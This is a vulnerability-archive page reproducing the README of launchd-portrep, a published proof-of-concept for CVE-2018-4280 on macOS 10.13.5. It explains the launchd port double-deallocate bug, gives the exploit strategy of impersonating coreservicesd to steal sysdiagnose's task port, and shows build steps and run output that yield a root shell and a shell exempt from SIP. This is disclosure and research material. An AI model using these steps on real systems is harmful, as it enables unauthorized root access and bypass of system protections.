关联漏洞
标题:
多款Apple产品libxpc组件缓冲区错误漏洞
(CVE-2018-4280)
描述:Apple iOS等都是美国苹果(Apple)公司的产品。Apple iOS是一套为移动设备所开发的操作系统。Apple tvOS是一套智能电视操作系统。Apple macOS High Sierra是一套专为Mac计算机所开发的专用操作系统。libxpc是其中的一个AppleXPC库的开源实现。 多款Apple产品中的libxpc组件存在缓冲区错误漏洞。攻击者可利用该漏洞获取提升的权限。以下产品和版本受到影响:Apple iOS 11.4.1之前版本;macOS High Sierra 10.13.6之
描述
CVE-2018-4280: Mach port replacement vulnerability in launchd on macOS 10.13.5 leading to local privilege escalation and SIP bypass.
介绍
launchd-portrep
===================================================================================================
<!-- Brandon Azad -->
launchd-portrep is an exploit for a port replacement vulnerability in launchd, the initial
userspace process and service management daemon on macOS. By sending a crafted Mach message to the
bootstrap port, launchd can be coerced into deallocating its send right for any Mach port to which
the attacker also has a send right. This allows the attacker to impersonate any launchd service it
can look up to the rest of the system.
The vulnerability
---------------------------------------------------------------------------------------------------
Launchd multiplexes multiple different Mach message handlers over its main port, including a MIG
handler for exception messages. If a process sends a `mach_exception_raise` or
`mach_exception_raise_state_identity` message to its own bootstrap port, launchd will receive and
process that message as a host-level exception.
Unfortunately, launchd's handling of these messages is buggy. If the exception type is `EXC_CRASH`,
then launchd will deallocate the thread and task ports sent in the message and then return
`KERN_FAILURE` from the service routine, causing the MIG system to deallocate the thread and task
ports again. (The assumption is that if a service routine returns success, then it has taken
ownership of all resources in the Mach message, while if the service routine returns an error, then
it has taken ownership of none of the resources.)
Here is the code from launchd's service routine for `mach_exception_raise` messages, decompiled
using IDA/Hex-Rays and lightly edited for readability:
```c
kern_return_t __fastcall
catch_mach_exception_raise( // (a) The service routine is
mach_port_t exception_port, // called with values directly
mach_port_t thread, // from the Mach message
mach_port_t task, // sent by the client. The
unsigned int exception, // thread and task ports could
mach_exception_data_t code, // be arbitrary send rights.
unsigned int codeCnt)
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Host-level exception raised: pid = %d, thread = 0x%x, "
"exception type = 0x%x, codes = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) The "thread" port sent in
if ( kr ) // the message is deallocated.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) The "task" port sent in the
if ( kr ) // message is deallocated.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) If the exception type is 10
result *= 5; // (EXC_CRASH), then an error
} // KERN_FAILURE is returned.
return result; // MIG will deallocate the
} // ports again.
```
This double-deallocate of the port names is problematic because a process can set any ports it
wants as the task and thread ports in the exception message. Launchd performs no checks that the
received send rights actually correspond to a thread and a task; the ports could, for example, be
send rights to ports already in launchd's IPC space. Then the double-deallocate would actually
cause launchd to drop a user reference on one of its own ports.
This bug can be exploited to free launchd's send right to any Mach port to which the attacking
process also has a send right. In particular, if the attacking process can look up a system service
using launchd, then it can free launchd's send right to that service and then impersonate the
service to the rest of the system. After that there are many different routes to gain system
privileges.
Exploit strategy to get task_for_pid-allow
------------------------------------------------------------------------------------------------
This bug is a less general version of [CVE-2016-7637], a Mach port user reference handling issue in
XNU discovered by Ian Beer that allowed processes to free Mach ports in other processes. Ian Beer
exploited that vulnerability on macOS by replacing launchd's send right to the
com.apple.CoreServices.coreservicesd endpoint and impersonating coreservicesd to the rest of the
system. Coreservicesd is an attractive target because it is one of a few services to which clients
will send their task port in a Mach message. By replacing launchd's send right to coreservicesd
with his own port and then triggering privileged clients to look up and communicate with
coreservicesd, he was able to obtain the task port for a privileged process and then execute code
within that process.
[CVE-2016-7637]: https://bugs.chromium.org/p/project-zero/issues/detail?id=959
Since the behavior on macOS hasn't changed, I basically copied Ian Beer's exploit strategy for this
vulnerability. We send exception messages to launchd containing coreservicesd's service port until
we free launchd's send right to that port. We can detect when we've freed the right by calling
bootstrap_look_up() again on the service: if launchd returns an invalid port name, then we've
successfully freed launchd's send right to the port. Then, we repeatedly register and unregister a
large number of services with launchd until one of the services we register is assigned the same
Mach port name in launchd's IPC space as the original coreservicesd port. At this point, any
process that looks up com.apple.CoreServices.coreservicesd in launchd will receive a send right to
our fake service rather than the real coreservicesd. We then run a MITM server on the fake service
port, inspecting all Mach ports in the messages received from clients before sending them along to
the real coreservicesd. At this point we send a message to sysdiagnose causing it to run a
tailspin, which causes sysdiagnose to connect to our fake coreservicesd port and send us its task
port. Since sysdiagnose has the `task_for_pid-allow` entitlement, we can now get the task port for
any process.
In order to (mostly) restore proper functioning of the system, we use sysdiagnose to obtain
launchd's task port, and then use launchd's task port to replace launchd's send right to our fake
service port back with a send right to the real coreservicesd. That way future clients can actually
reach coreservicesd.
One problem I've noticed with this approach is that the system seems to hang on shutdown for a
short while. I'm assuming that this is because tampering with launchd's ports messes up some of
launchd's accounting or port notifications. I haven't investigated this issue further, but
restarting coreservicesd using launchctl seems to fix it:
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
Once we have task_for_pid-allow
------------------------------------------------------------------------------------------------
Once we have code execution inside a `task_for_pid-allow` process, we can control any task on the
system. This is great because not only can we perform the standard elevation of privileges, but we
can also bypass SIP by injecting code into SIP-entitled processes.
This exploit demonstrates two potential uses: system command execution as root and dylib injection.
To execute a system command, we simply invoke the standard `system()` function from within
sysdiagnose, passing it the command string supplied by the user. To inject a dylib into a process,
we call `task_for_pid()` from within sysdiagnose to get the task port of the target, then use the
task port to call `dlopen()` on the supplied library.
Usage
---------------------------------------------------------------------------------------------------
To build the standalone exploit `launchd-portrep`, run `make`. See the top of the Makefile for
various build options. You will need to download and build the [threadexec] injection library
first.
[threadexec]: https://github.com/bazad/threadexec
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
Note that the exploit as written will fail if the sysdiagnose process is already running. Thus, for
the purposes of this proof of concept, be sure to kill sysdiagnose before running the exploit. (It
is possible to rework the exploit so that it still works if sysdiagnose is already running, but I
have decided not to incorporate this functionality in order to dissuade the use of this tool for
malicious purposes.)
Run the exploit by specifying the command to run as if it were being given to the `system()`
function:
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
Alternatively, if you specify a PID and an absolute path to a dynamic library file,
`launchd-portrep` will inject the dylib into the specified process.
There are also two example scripts that wrap `launchd-portrep`: `launchd-portrep-rootsh.sh` and
`launchd-portrep-rootless.sh`.
`launchd-portrep-rootsh.sh` will present a traditional root shell by installing a setuid-root shell
launcher under `/var/suid-sh`. (The setuid shell is automatically removed after 1 second.)
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#
`launchd-portrep-rootless.sh` is even more interesting: it presents a shell where rootless
restrictions on the filesystem have been disabled. It does this by spawning diskmanagementd, which
has the `com.apple.rootless.install.heritable` entitlement, and then injecting a dylib into
diskmanagementd that causes it to spawn a shell with stdin and stdout bound to named pipes. As the
name of the entitlement suggests, the exemptions from SIP granted by
`com.apple.rootless.install.heritable` will be passed down to the child processes, meaning that the
shell and all commands you run in it are essentially exempt from the SIP filesystem protections.
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 4 root wheel restricted 128 Jul 25 19:08 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 5 root wheel restricted 160 Jul 25 19:19 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
-rw-r--r-- 1 root wheel restricted 0 Jul 25 19:19 exploit-success
bash-3.2# exit
launchd-portrep has been tested on macOS 10.13.5 17F77.
License
---------------------------------------------------------------------------------------------------
The launchd-portrep code is released under the MIT license.
---------------------------------------------------------------------------------------------------
Brandon Azad
文件快照
[4.0K] /data/pocs/1fb22b0011674718b41204dc2861ded038459f8e
├── [ 25K] exploit.c
├── [1022] exploit.h
├── [ 19K] launchd_portrep.c
├── [1.4K] launchd_portrep.h
├── [1.8K] launchd-portrep-rootless.sh
├── [1.1K] launchd-portrep-rootsh.sh
├── [1.0K] LICENSE
├── [ 911] log.c
├── [1.9K] log.h
├── [5.2K] main.c
├── [ 739] Makefile
└── [ 13K] README.md
0 directories, 12 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。